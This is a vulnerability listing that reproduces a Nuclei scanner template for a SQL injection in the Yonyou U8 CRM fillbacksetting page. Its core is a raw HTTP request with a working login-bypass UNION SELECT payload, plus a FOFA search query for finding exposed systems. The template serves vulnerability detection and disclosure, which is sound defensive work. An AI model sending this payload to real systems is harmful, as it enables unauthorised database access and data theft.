yonyou-u8-crm-sqli: UFIDA U8 CRM cfillbacksetting.php - SQL Injection

2025-08-01 yonyou-u8-crm PoC Public

Description

UFIDA U8-CRM system /config/fillbacksetting.php contains an SQL injection vulnerability, which allows attackers to manipulate the database through maliciously constructed SQL statements, resulting in data leaks, tampering or destruction, and seriously threatening system security.

PoC

id: yonyou-u8-crm-sqli

info:
  name: UFIDA U8 CRM cfillbacksetting.php - SQL Injection
  author: s4e-io
  severity: high
  description: |
    UFIDA U8-CRM system /config/fillbacksetting.php contains an SQL injection vulnerability, which allows attackers to manipulate the database through maliciously constructed SQL statements, resulting in data leaks, tampering or destruction, and seriously threatening system security.
  reference:
    - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BU8-CRM%E7%B3%BB%E7%BB%9Ffillbacksetting.php%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="用友U8CRM"
  tags: yonyou,u8-crm,sqli,vuln

http:
  - raw:
      - |
        GET /config/fillbacksettingedit.php?DontCheckLogin=1&action=edit&id=1+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,@@VERSION,NULL,NULL--+ HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID=bgsesstimeout-;

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "src_obj_type\":\"businesInfo\",\"src_fld"

      - type: regex
        part: body
        negative: true
        regex:
          - "src_fld\":null"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c61b0f4b7a90e592143eb9f6c3167b097e06f6cba1296257768ae7ac7dbe8c89022100afa77ed5c0f17de8002d0cd6da39492bc834c8b2d3596448c56740fabe69ac54:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/yonyou/yonyou-u8-crm-sqli.yaml

References

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